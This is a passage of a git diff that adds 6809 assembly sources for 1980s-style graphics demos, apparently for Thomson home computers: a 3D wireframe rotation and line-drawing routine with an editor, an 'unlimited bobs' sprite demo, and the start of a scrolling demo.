+       LDD    <Z+4
+       SUBD   <Z+6
+       ASLB
+       ROLA
+       BCC    *+11
+       STD    <Z+4
+       LDD    #0
+       SUBD   <Z+4
+       ORA    #128
+       STA    <Z+15   Z' = Zcosb - Xsinb
+
+       LDA    ,U      cote (Z)
+       LDB    QUAD,X
+       ANDA   #127
+       ANDB   #127
+       MUL
+       STD    <Z+4     ABS ( Z * sin b )
+       LDA    ,U+
+       EORA   QUAD,X
+       BPL    *+9
+       LDD    #0
+       SUBD   <Z+4
+       STD    <Z+4
+
+       LDA    <Z      abcisse (X)
+       LDB    ,X
+       ANDA   #127
+       ANDB   #127
+       MUL
+       STD    <Z+6     ABS ( X * cos b )
+       LDA    <Z
+       EORA   ,X
+       BPL    *+9
+       LDD    #0
+       SUBD   <Z+6
+       STD    <Z+6
+
+       LDD    <Z+4
+       ADDD   <Z+6
+       ASLB
+       ROLA
+       BCC    *+11
+       STD    <Z+4
+       LDD    #0
+       SUBD   <Z+4
+       ORA    #128
+       STA    <Z+16   X' = Zsinb + Xcosb
+
+**** rotation autour de (xx') ****
+
+       LDX    <Z+12   pointe sur cos (c)
+       LDA    <Z+1    ordonnée (Y)
+       LDB    ,X
+       ANDA   #127
+       ANDB   #127
+       MUL
+       STD    <Z+4     ABS ( Y * cos c )
+       LDA    <Z+1
+       EORA   ,X
+       BPL    *+9
+       LDD    #0
+       SUBD   <Z+4
+       STD    <Z+4
+
+       LDA    <Z+15   cote (Z)
+       LDB    QUAD,X
+       ANDA   #127
+       ANDB   #127
+       MUL
+       STD    <Z+6     ABS ( Z * sin c )
+       LDA    <Z+15
+       EORA   QUAD,X
+       BPL    *+9
+       LDD    #0
+       SUBD   <Z+6
+       STD    <Z+6
+
+       LDD    <Z+4
+       SUBD   <Z+6
+       ASLB
+       ROLA
+       BCC    *+11
+       STD    <Z+4
+       LDD    #0
+       SUBD   <Z+4
+       ORA    #128
+       STA    <Z+17   Y' = Ycosc - Zsinc
+
+       LDD    <Z+16
+       ANDA   #127
+       CMPA   <Z+16
+       BEQ    *+3
+       NEGA
+ABCENT ADDA   #0      x centre écran
+       ANDB   #127
+       CMPB   <Z+17
+       BEQ    *+3
+       NEGB
+       ADDB   #124    y centre écran
+
+       STD    ,S++    remplit table des
+       DEC    <Z+14   coordonnées écran
+       LBNE   COORD
+RS     LDS    #0
+
+       LDA    <Z+26   nbre de segments
+       STA    <Z+14
+       LDY    #VIDE-8
+TRACE  LDX    #CORDOS
+       LDB    ,U+
+       LDD    B,X
+       STD    <Z+6
+       LDB    ,U+
+       LDD    B,X     trace les segments
+       BSR    DRAW     entre différentes
+       DEC    <Z+14   coordonnées écran
+       BNE    TRACE
+
+       LDD    <Z+8
+       ADDD   <Z+20
+       CMPD   #SINUS+4*QUAD
+       BLO    *+5
+       SUBD   #4*QUAD
+       STD    <Z+8
+       LDD    <Z+10
+       ADDD   <Z+22
+       CMPD   #SINUS+4*QUAD
+       BLO    *+5
+       SUBD   #4*QUAD
+       STD    <Z+10
+       LDD    <Z+12
+       ADDD   <Z+24
+       CMPD   #SINUS+4*QUAD
+       BLO    *+5
+       SUBD   #4*QUAD
+       STD    <Z+12
+       RTS
+
+
+DRAW   STD    <Z+4
+       CMPA   <Z+6    si x1 > x2 alors
+       BLS    *+10      permutation
+       LDX    <Z+6
+       STX    <Z+4
+       STD    <Z+6
+       LDB    <Z+5
+
+       CMPB   <Z+7
+       LBHI   MONTEE  quand y1 < y2
+
+       LDD    <Z+6
+       SUBA   <Z+4    A = (dx)
+       STA    <Z+1
+       SUBB   <Z+5    B = (dy)
+       CMPB   <Z+1
+       LBHI   VERTI1  quand (dy) > (dx)
+
+       TFR    B,A
+       CLRB           (dy) / (dx) = 0.?
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #128
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #64
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #32
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #16
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #8
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #4
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #2
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #1
+       STB    MMSEG1+1
+
+       LDX    #ECRAN
+       LDA    #40
+       LDB    <Z+5
+       MUL
+       LEAX   D,X
+       LDB    <Z+4
+       LSRB
+       LSRB
+       LSRB
+       ABX
+       LDB    <Z+4
+       ANDB   #7
+       LDA    B,Y
+       STA    <Z
+       INC    <Z+1
+       CLRB
+
+       LDA    ,X
+LINE1  ORA    <Z
+       DEC    <Z+1
+       BNE    *+5
+       STA    ,X
+       RTS
+       LSR    <Z
+       BNE    MMSEG1
+       ROR    <Z
+       STA    ,X+
+       LDA    ,X
+MMSEG1 ADDB   #0
+       BCC    LINE1
+       STA    ,X
+       LEAX   40,X
+       BRA    LINE1-2
+
+VERTI1 STB    <Z+1
+       CLRB           (dx) / (dy) = 0.?
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #128
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #64
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #32
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #16
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #8
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #4
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #2
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #1
+       STB    VIRG1+1
+
+       LDX    #ECRAN
+       LDA    #40
+       LDB    <Z+5
+       MUL
+       LEAX   D,X
+       LDB    <Z+4
+       LSRB
+       LSRB
+       LSRB
+       ABX
+       LDB    <Z+4
+       ANDB   #7
+       LDA    B,Y
+       STA    <Z
+       INC    <Z+1
+       CLRB
+
+LINE2  LDA    ,X
+       ORA    <Z
+       STA    ,X
+       LEAX   40,X
+       DEC    <Z+1
+       BNE    *+3
+       RTS
+VIRG1  ADDB   #0
+       BCC    LINE2
+       LSR    <Z
+       BNE    LINE2
+       ROR    <Z
+       LEAX   1,X
+       BRA    LINE2
+
+MONTEE LDD    <Z+6
+       SUBA   <Z+4    A = (dx)
+       STA    <Z+1
+       LDB    <Z+5
+       SUBB   <Z+7    B = (dy)
+       CMPB   <Z+1
+       LBHI   VERTI2  quand (dy) > (dx)
+
+       TFR    B,A
+       CLRB           (dy) / (dx) = 0.?
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #128
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #64
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #32
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #16
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #8
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #4
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #2
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #1
+       STB    MMSEG2+1
+
+       LDX    #ECRAN
+       LDA    #40
+       LDB    <Z+5
+       MUL
+       LEAX   D,X
+       LDB    <Z+4
+       LSRB
+       LSRB
+       LSRB
+       ABX
+       LDB    <Z+4
+       ANDB   #7
+       LDA    B,Y
+       STA    <Z
+       INC    <Z+1
+       CLRB
+
+       LDA    ,X
+LINE3  ORA    <Z
+       DEC    <Z+1
+       BNE    *+5
+       STA    ,X
+       RTS
+       LSR    <Z
+       BNE    MMSEG2
+       ROR    <Z
+       STA    ,X+
+       LDA    ,X
+MMSEG2 ADDB   #0
+       BCC    LINE3
+       STA    ,X
+       LEAX   -40,X
+       BRA    LINE3-2
+
+VERTI2 STB    <Z+1
+       CLRB           (dx) / (dy) = 0.?
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #128
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #64
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #32
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #16
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #8
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #4
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #2
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #1
+       STB    VIRG2+1
+
+       LDX    #ECRAN
+       LDA    #40
+       LDB    <Z+5
+       MUL
+       LEAX   D,X
+       LDB    <Z+4
+       LSRB
+       LSRB
+       LSRB
+       ABX
+       LDB    <Z+4
+       ANDB   #7
+       LDA    B,Y
+       STA    <Z
+       INC    <Z+1
+       CLRB
+
+LINE4  LDA    ,X
+       ORA    <Z
+       STA    ,X
+       LEAX   -40,X
+       DEC    <Z+1
+       BNE    *+3
+       RTS
+VIRG2  ADDB   #0
+       BCC    LINE4
+       LSR    <Z
+       BNE    LINE4
+       ROR    <Z
+       LEAX   1,X
+       BRA    LINE4
+
+       FDB    $8040,$2010,$0804,$0201
+VIDE   FDB    0,0,0,0
+
+DEFOBJ STU    <Z+29
+       LDX    12,U    couleur de l'objet
+       LEAY   ,X
+       LDA    #15
+       JSR    $EC00
+       LDX    #CENTRE
+       LDA    14,U
+       BMI    *+5
+       LDX    #CENTRE+512
+       STX    <Z+27    type déplacement
+       LEAX   512,X
+       STX    VITCEN+3      et
+       ANDA   #127
+       STA    VITCEN+1 vitesse du centre
+       LEAU   15,U
+       PULU   D,X,Y
+       STD    <Z+8    angle A
+       STX    <Z+10   angle B
+       STY    <Z+12   angle C
+       PULU   D,X,Y
+       STD    <Z+20   vit-A
+       STX    <Z+22   vit-B
+       STY    <Z+24   vit-C
+       LDA    ,U+
+       STA    <Z+26   nombre de segments
+       PULU   X
+       STX    <Z+38   attente objet
+       STU    <Z+18
+NEWSCR BSR    VIDECR
+       LDA    $E7E5
+       EORA   #1
+       STA    $E7E5
+       BSR    VIDECR
+       LDA    $E7E5
+       EORA   #1
+       STA    $E7E5
+       RTS
+
+VIDECR STS    EDITOR-3
+       LDA    #HAUT/12-1
+       STA    <Z
+       LDU    #VIDE
+       PULU   D,X,Y,S
+       LDU    #ECRAN+(HAUT+28)*40
+KILALL FCC    /6v6v6v6v6v6v6v6v6v6v/
+       FCC    /6v6v6v6v6v6v6v6v6v6v/
+       FCC    /6v6v6v6v6v6v6v6v6v6v/
+       FCC    /6v6v6v6v6v6v6v6v6v6v/
+       FCC    /6v6v6v6v6v6v6v6v6v6v/
+       FCC    /6v6v6v6v6v6v6v6v6v6v/
+       DEC    <Z
+       BNE    KILALL
+       FCC    /6v6v6v6v6v6v6v6v6v6v/
+       LDS    #0
+       RTS
+
+EDITOR LDA    #$C0
+       STA    $E7DD
+       LDX    #$2000  couleur Editeur
+       LDA    ,X+
+       ANDA   #120
+       CMPA   #56
+       BNE    *+10
+       LDA    $9FFF,X forme Démo
+       STA    $DFFF,X forme Editeur
+       CMPX   #$3DD8
+       BNE    EDITOR+8
+       LDA    #10
+       STA    <Z+6
+       LDX    #$274   angles
+       LDU    <Z+12
+       LEAU   -SINUS,U
+       LDA    #3
+       JSR    WRITE
+       LDX    #$38C
+       LDU    <Z+10
+       LEAU   -SINUS,U
+       LDA    #3
+       JSR    WRITE
+       LDX    #$4A4
+       LDU    <Z+8
+       LEAU   -SINUS,U
+       LDA    #3
+       JSR    WRITE
+       LDX    #$18F3  attentes
+       LDU    <Z+32
+       LDA    #3
+       JSR    WRITE
+       LDX    #$1A0B
+       LDU    <Z+38
+       LDA    #4
+       JSR    WRITE
+       LDX    #$1636  vitesse centre
+       LDB    VITCEN+1
+       CLRA
+       TFR    D,U
+       LDA    #1
+       JSR    WRITE
+       INC    <Z+6
+       LDX    #$25B   nombre de segments
+       LDB    <Z+26
+       CLRA
+       TFR    D,U
+       LDA    #2
+       JSR    WRITE
+       LDU    <Z+18
+       LDB    -3,U
+       STB    LINKS+5
+       LDB    #14
+       STB    <Z+6
+       LDX    #$7E8   vitesses rotation
+       LDU    <Z+24
+       LDA    #3
+       JSR    WRITE
+       LDX    #$900
+       LDU    <Z+22
+       LDA    #3
+       JSR    WRITE
+       LDX    #$A18
+       LDU    <Z+20
+       LDA    #3
+       JSR    WRITE
+       LDX    #$151F  type dplcmt centre
+       LDY    #CENTR2-19
+       CLR    LINKS+125
+       LDU    VITCEN+3
+       CMPU   #CENTRE+512
+       BEQ    *+7
+       INC    LINKS+125
+       LEAY   10,Y
+       LDB    ,Y+
+       BMI    *+7
+       JSR    PUTC
+       BRA    *-7
+       LDX    #$48B   objet courant
+       LDY    <Z+29
+       LDB    ,Y+
+       JSR    PUTC
+       CMPX   #$493
+       BNE    *-8
+       LDX    #$675   liste objets
+       LDY    #LINKS+40
+       LDU    ,Y
+       STS    ZEBEST+2
+       LDA    #6
+       STA    <Z+1
+       STU    ,Y
+       LDA    #8
+       STA    <Z
+NOMOBJ LDB    ,U+
+       LDS    #FONTES
+       LDA    #5
+       MUL
+       LEAS   D,S
+       PULS   D
+       STA    -80,X
+       STB    -40,X
+       PULS   D
+       STA    ,X+
+       STB    39,X
+       LDA    ,S
+       STA    79,X
+       DEC    <Z
+       BNE    NOMOBJ
+       LEAX   272,X
+       LEAY   12,Y
+       LDU    2,U
+       DEC    <Z+1
+       BNE    NOMOBJ-6
+ZEBEST LDS    #0
+       LDA    #15
+       LDX    #-1
+       LEAY   1,X
+       JSR    $EC00
+       STX    <Z
+       LDX    #$37B   palette
+       LDB    <Z
+       ANDB   #15
+       ADDB   #12
+       JSR    PUTC
+       LDB    <Z+1
+       LSRB
+       LSRB
+       LSRB
+       LSRB
+       ADDB   #12
+       JSR    PUTC
+       LDB    <Z+1
+       ANDB   #15
+       ADDB   #12
+       JSR    PUTC
+       CLR    $E7DD
+       LDB    #0
+       STB    <Z+14
+       LDA    <Z+14
+ARROWS LDY    #LINKS
+       STA    <Z+14
+       LDB    #12
+       MUL
+       LEAY   D,Y
+       LDX    ,Y
+       LDA    2,Y
+       STA    <Z+6
+       BSR    INVERS
+       LDA    <Z+6
+CLAV   JSR    $E806
+       CMPB   #13
+       BNE    NOEXIT
+       BSR    INVERS
+       LDA    3,Y
+       BEQ    NOEXIT-3
+       LDX    ,Y
+       LDU    4,Y
+       JSR    READ
+       JMP    [6,Y]
+NOEXIT CMPB   #2
+       BNE    *+15
+       LDB    <Z+14
+       STB    ARROWS-5
+       BSR    INVERS
+       JSR    NEWSCR
+       JMP    BIGBCL
+       SUBB   #8
+       CMPB   #3
+       BHI    CLAV
+       BSR    INVERS
+       TSTB
+       BNE    *+6
+       LDA    11,Y
+       BRA    ARROWS
+       CMPB   #1
+       BNE    *+6
+       LDA    9,Y
+       BRA    ARROWS
+       CMPB   #2
+       BNE    *+6
+       LDA    10,Y
+       BRA    ARROWS
+       LDA    8,Y
+       BRA    ARROWS
+
+INVERS PSHS   X
+       TST    $E7E7
+       BPL    *-3
+       TST    $E7E7
+       BMI    *-3
+       COM    -120,X
+       COM    -80,X
+       COM    -40,X
+       COM    ,X+
+       COM    39,X
+       COM    79,X
+       COM    119,X
+       DECA
+       BNE    INVERS+12
+       PULS   X,PC
+
+COLOUR LDX    #$37E
+       LDA    #3
+       LEAX   -1,X
+       CLRB
+       STB    -80,X
+       STB    -40,X
+       STB    ,X
+       STB    40,X
+       LDB    #127
+       STB    80,X
+       DECA
+       BNE    COLOUR+5
+       LDY    #DIR*256+Z
+GETKEY JSR    $E806
+       SUBB   #48
+       CMPB   #10
+       BLO    *+12
+       SUBB   #7
+       CMPB   #10
+       BLO    GETKEY
+       CMPB   #15
+       BHI    GETKEY
+       STB    ,Y+
+       ADDB   #12
+       JSR    PUTC
+       CMPY   #DIR*256+Z+3
+       BNE    GETKEY
+       LDB    <Z+1
+       ASLB
+       ASLB
+       ASLB
+       ASLB
+       ADDB   <Z+2
+       LDA    <Z
+       TFR    D,X
+       LEAY   ,X
+       LDA    #15
+       JSR    $EC00
+       JMP    ARROWS-2
+NOBJ   LDU    4,Y
+       JSR    DEFOBJ
+       JMP    BIGBCL
+SCROLL LDX    #$675
+       LDY    #LINKS+3*12+4
+       STS    ARETES-5
+       LDA    <Z+14
+       LDS    ,Y      premier actuel
+       LDU    8,S        précédent
+       CMPA   #9
+       BNE    *+4
+       LDU    10,S        suivant
+       LDA    #6
+       STA    <Z+1
+       TST    $E7E7
+       BPL    *-3
+       TST    $E7E7
+       BMI    *-3
+       STU    ,Y
+       LDA    #8
+       STA    <Z
+AFNAME LDB    ,U+
+       LDS    #FONTES
+       LDA    #5
+       MUL
+       LEAS   D,S
+       PULS   D
+       STA    -80,X
+       STB    -40,X
+       PULS   D
+       STA    ,X+
+       STB    39,X
+       LDA    ,S
+       STA    79,X
+       DEC    <Z
+       BNE    AFNAME
+       LEAX   272,X
+       LEAY   12,Y
+       LDU    2,U
+       DEC    <Z+1
+       BNE    AFNAME-6
+       LDS    #0
+       JMP    ARROWS-2
+ARETES STB    <Z+26
+       JMP    ARROWS-2
+WAITS  TFR    D,U
+       LDA    <Z+14
+       CMPA   #19
+       BNE    *+7
+       STU    <Z+38
+       JMP    ARROWS
+       LDX    <Z+32
+       BEQ    *+4
+       STU    <Z+32
+       STU    WAITXT+1
+       JMP    ARROWS
+CENTR1 INC    5,Y
+       LDA    5,Y
+       LDY    #CENTR2-19
+       LDU    #CENTRE
+       LEAX   1,X
+       BITA   #1
+       BEQ    *+7
+       LEAY   10,Y
+       LDU    #CENTRE+512
+       STU    <Z+27
+       LEAU   512,U
+       STU    VITCEN+3
+       TST    $E7E7
+       BPL    *-3
+       TST    $E7E7
+       BMI    *-3
+       LDB    ,Y+
+       BMI    *+7
+       JSR    PUTC
+       BRA    *-7
+       JMP    ARROWS-2
+       FCB    37,30,35,28,0,37,36,35,28
+       FCB    $F7     pingpong/sinusoïde
+       FCB    40,30,35,42,40,36,30,25,26
+CENTR2 STB    VITCEN+1
+       JMP    ARROWS-2
+ANGLES LDU    #SINUS
+       LEAU   D,U
+       LDB    <Z+14
+       ASLB
+       NEGB
+       SUBB   #220
+       LDX    #DIR*256+Z
+       ABX
+       STU    ,X
+       JMP    ARROWS-2
+SPEEDS TFR    D,U
+       LDB    <Z+14
+       ASLB
+       NEGB
+       SUBB   #202
+       LDX    #DIR*256+Z
+       ABX
+       STU    ,X
+       JMP    ARROWS-2
+
+PUTC   LDU    #FONTES
+       LDA    #5
+       MUL
+       LEAU   D,U
+       PULU   D
+       STA    -80,X
+       STB    -40,X
+       PULU   D
+       STA    ,X+
+       STB    39,X
+       LDA    ,U
+       STA    79,X
+       RTS
+
+READ   PSHS   X,Y
+       STA    <Z+7
+       STU    <Z
+       LDB    <Z+6
+       ABX
+EFF    LEAX   -1,X
+       CLRB
+       STB    -80,X
+       STB    -40,X
+       STB    ,X
+       STB    40,X
+       LDB    #127
+       STB    80,X
+       DECA
+       BNE    EFF
+
+       CLR    <Z+2
+       CLR    <Z+3
+       CLR    <Z+4
+       LDY    #DIR*256+Z
+       LDA    #6
+       SUBA   <Z+7
+       LEAY   A,Y
+INKEY  JSR    $E806
+       SUBB   #48
+       CMPB   #9
+       BHI    INKEY
+       STB    ,Y+
+       ADDB   #12
+       JSR    PUTC
+       CMPY   #DIR*256+Z+6
+       BNE    INKEY
+
+       LDA    <Z+2
+       LDB    #10
+       MUL
+       ADDB   <Z+3
+       LDA    #100
+       MUL
+       STD    <Z+2
+       LDA    <Z+4
+       LDB    #10
+       MUL
+       ADDB   <Z+5
+       ADDD   <Z+2
+       STD    <Z+2
+
+       LDD    <Z
+       BITA   #128
+       BEQ    *+10
+       ANDA   #127    si nul -> égal à 1
+       LDX    <Z+2
+       BNE    *+4
+       INC    <Z+3
+       CMPD   <Z+2
+       BHI    *+4
+       STD    <Z+2
+       PULS   X,Y
+       LDU    <Z+2
+       LDA    <Z+7
+
+WRITE  PSHS   X,Y
+       STU    <Z
+       CLR    <Z+2
+       CLR    <Z+3
+       CLR    <Z+4
+       STA    <Z+7
+       TFR    U,D
+MIL    CMPD   #1000
+       BLO    CENT
+       SUBD   #1000
+       INC    <Z+2
+       BRA    MIL
+CENT   CMPD   #100
+       BLO    DIX
+       SUBD   #100
+       INC    <Z+3
+       BRA    CENT
+DIX    CMPB   #10
+       BLO    *+8
+       SUBB   #10
+       INC    <Z+4
+       BRA    DIX
+       STB    <Z+5
+
+       LDB    <Z+6
+       SUBB   <Z+7
+       ABX
+       LDY    #DIR*256+Z
+       LDA    #6
+       SUBA   <Z+7
+       LEAY   A,Y
+       LDB    ,Y
+       BNE    ECHO
+       CMPY   #DIR*256+Z+5
+       BEQ    ECHO
+       JSR    PUTC
+       LEAY   1,Y
+       BRA    *-15
+ECHO   LDB    ,Y+
+       ADDB   #12
+       JSR    PUTC
+       CMPY   #DIR*256+Z+6
+       BNE    *-11
+       LDD    <Z
+       PULS   PC,X,Y
+
+       FDB    0,256,512,768,$400,$500
+       FDB    $600,273,546,819,239,207
+       FDB    175,143,111,4095
+       FDB    0,15,240,255,3840
+       FDB    3855,4080,4095,1911,826
+       FDB    931,938,2611,2618,3815,123
+MAP
+       END
diff --git a/code/3rdparty/sources2-hcl/BALLS.ASM b/code/3rdparty/sources2-hcl/BALLS.ASM
new file mode 100644
index 0000000..2151446
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/BALLS.ASM
@@ -0,0 +1,294 @@
+****************************************
+*         UNLIMITED BOBS DEMO          *
+****************************************
+*                                      *
+*     Laurent HIRIART                  *
+*     Les Enversgouttes                *
+*     67420 COLROY-LA-ROCHE            *
+*                                      *
+****************************************
+
+
+COS    EQU    $0000
+SIN    EQU    $0800
+SPRITE EQU    $1000
+ZZ     EQU    $15A0
+CODE   EQU    $D600
+PILE   EQU    $4000
+
+SCREEN EQU    $A000
+CARTCH EQU    15
+QUAD   EQU    512
+DIR    EQU    ZZ/256
+Z      EQU    ZZ-DIR*256
+
+
+       ORG    CODE
+G      ORCC   #80
+       LDD    #32
+       STA    $E7DB
+       STA    $E7DA
+       DECB
+       BNE    *-4
+       LDB    $E7E6
+       PSHS   B,DP
+       STS    RDP+2
+       LDX    #$6000
+       LDU    #$A000
+GMONP0 LDD    ,X++
+       STD    ,U++
+       CMPX   #$8000
+       BNE    GMONP0
+       LDD    #$6000+256*CARTCH+DIR
+       TFR    B,DP
+       STA    $E7E6
+       LDD    #$21C0
+       STD    $E7DC
+       JMP    >*+3-$C000
+
+* Début Espace Cartouche
+
+       LDS    #PILE
+       LDA    #3
+       STA    $E7E5
+       LBSR   CLRSCR
+       DECA
+       BGE    *-7
+       LDX    #COS
+       LDU    #ZZ
+       STX    ,U++
+       STX    ,U++
+       LDX    #SIN
+       STX    ,U++
+       STX    ,U++
+       LDA    #255
+       LDX    #COLORS-$C000+32
+       JSR    $EC00
+
+GOON   LDD    #$0C0
+       STA    $E7E5
+       STB    $E7DD
+       BSR    SYNCRO
+       LDD    #$100
+       STA    $E7E5
+       STB    $E7DD
+       BSR    SYNCRO
+       LDD    #$240
+       STA    $E7E5
+       STB    $E7DD
+       BSR    SYNCRO
+       LDD    #$380
+       STA    $E7E5
+       STB    $E7DD
+       BSR    SYNCRO
+       TST    $E7C8
+       BEQ    GOON
+
+       LDA    #CARTCH
+       STA    $E7E5
+       JMP    *+3
+
+* Fin Espace Cartouche
+
+       LDX    #$6000
+       LDU    #$A000
+PMONP0 LDD    ,U++
+       STD    ,X++
+       CMPX   #$8000
+       BNE    PMONP0
+
+RDP    LDS    #0
+       PULS   DP,B
+       STB    $E7E6
+       LDD    #0
+       STD    $E7DC
+       DECA
+       LDX    #COLORS
+       JSR    $EC00
+       SWI
+
+SYNCRO TST    $E7E7
+       BPL    *-3
+       TST    $E7E7
+       BMI    *-3
+       LDB    [ZZ+4]
+       ADDB   [ZZ+6]
+       ADDB   #100    Y centre écran
+       LDA    #40
+       MUL
+       LDX    #SCREEN-200
+       LEAX   D,X
+
+       LDB    [ZZ]
+       SEX
+       STD    <Z+8
+       LDB    [ZZ+2]
+       SEX
+       ADDD   <Z+8
+       ADDD   #152    X centre écran
+       STB    <Z+8
+       LSRA
+       RORB
+       LSRB
+       LSRB
+       ABX
+       LDA    <Z+8
+       ANDA   #7
+       LDB    #180
+       MUL
+       LDU    #SPRITE+15
+       LEAU   D,U
+       LDA    #3
+       STA    <Z+8
+
+RAMA   LDD    -80,X   affichage d'1 ball
+       ORA    -15,U
+       ANDA   -12,U
+       ORB    -14,U
+       ANDB   -11,U
+       STD    -80,X
+       LDA    -78,X
+       ORA    -13,U
+       ANDA   -10,U
+       STA    -78,X
+       LDD    -40,X
+       ORA    -9,U
+       ANDA   -6,U
+       ORB    -8,U
+       ANDB   -5,U
+       STD    -40,X
+       LDA    -38,X
+       ORA    -7,U
+       ANDA   -4,U
+       STA    -38,X
+       LDD    ,X
+       ORA    -3,U
+       ANDA   ,U
+       ORB    -2,U
+       ANDB   1,U
+       STD    ,X
+       LDA    2,X
+       ORA    -1,U
+       ANDA   2,U
+       STA    2,X
+       LDD    40,X
+       ORA    3,U
+       ANDA   6,U
+       ORB    4,U
+       ANDB   7,U
+       STD    40,X
+       LDA    42,X
+       ORA    5,U
+       ANDA   8,U
+       STA    42,X
+       LDD    80,X
+       ORA    9,U
+       ANDA   12,U
+       ORB    10,U
+       ANDB   13,U
+       STD    80,X
+       LDA    82,X
+       ORA    11,U
+       ANDA   14,U
+       STA    82,X
+       LEAX   200,X
+       LEAU   30,U
+       DEC    <Z+8
+       BNE    RAMA
+       LEAX   $2000-600,X
+       LDA    #3
+       STA    <Z+8
+RAMB   LDD    -80,X
+       ORA    -15,U
+       ANDA   -12,U
+       ORB    -14,U
+       ANDB   -11,U
+       STD    -80,X
+       LDA    -78,X
+       ORA    -13,U
+       ANDA   -10,U
+       STA    -78,X
+       LDD    -40,X
+       ORA    -9,U
+       ANDA   -6,U
+       ORB    -8,U
+       ANDB   -5,U
+       STD    -40,X
+       LDA    -38,X
+       ORA    -7,U
+       ANDA   -4,U
+       STA    -38,X
+       LDD    ,X
+       ORA    -3,U
+       ANDA   ,U
+       ORB    -2,U
+       ANDB   1,U
+       STD    ,X
+       LDA    2,X
+       ORA    -1,U
+       ANDA   2,U
+       STA    2,X
+       LDD    40,X
+       ORA    3,U
+       ANDA   6,U
+       ORB    4,U
+       ANDB   7,U
+       STD    40,X
+       LDA    42,X
+       ORA    5,U
+       ANDA   8,U
+       STA    42,X
+       LDD    80,X
+       ORA    9,U
+       ANDA   12,U
+       ORB    10,U
+       ANDB   13,U
+       STD    80,X
+       LDA    82,X
+       ORA    11,U
+       ANDA   14,U
+       STA    82,X
+       LEAX   200,X
+       LEAU   30,U
+       DEC    <Z+8
+       BNE    RAMB
+
+NEXT   LDX    <Z
+       LEAX   17,X
+       CMPX   #COS+4*QUAD
+       BLO    *+6
+       LEAX   -4*QUAD,X
+       STX    <Z
+       LDX    <Z+2
+       LEAX   16,X
+       CMPX   #COS+4*QUAD
+       BLO    *+6
+       LEAX   -4*QUAD,X
+       STX    <Z+2
+       LDX    <Z+4
+       LEAX   17,X
+       CMPX   #SIN+4*QUAD
+       BLO    *+6
+       LEAX   -4*QUAD,X
+       STX    <Z+4
+       LDX    <Z+6
+       LEAX   16,X
+       CMPX   #SIN+4*QUAD
+       BLO    *+6
+       LEAX   -4*QUAD,X
+       STX    <Z+6
+       RTS
+
+CLRSCR LDX    #$A000
+       LDU    #0
+       STU    ,X++
+       CMPX   #$E000
+       BNE    *-5
+       RTS
+
+COLORS FDB    0,15,240,255,3840,3855
+       FDB    4080,4095,1911,826,931
+       FDB    938,2611,2618,3815,123
+       FDB    0,$660,$FF0,$330
+
+       END
diff --git a/code/3rdparty/sources2-hcl/BIGFRIME.ASM b/code/3rdparty/sources2-hcl/BIGFRIME.ASM
new file mode 100644
index 0000000..4d85d39
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/BIGFRIME.ASM
@@ -0,0 +1,170 @@
+****************************************
+*    scrolling segment par segment.    *
